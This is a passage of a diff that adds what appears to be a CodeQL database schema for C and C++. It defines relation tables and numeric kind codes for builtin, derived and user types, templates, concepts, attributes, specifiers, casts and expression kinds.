+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
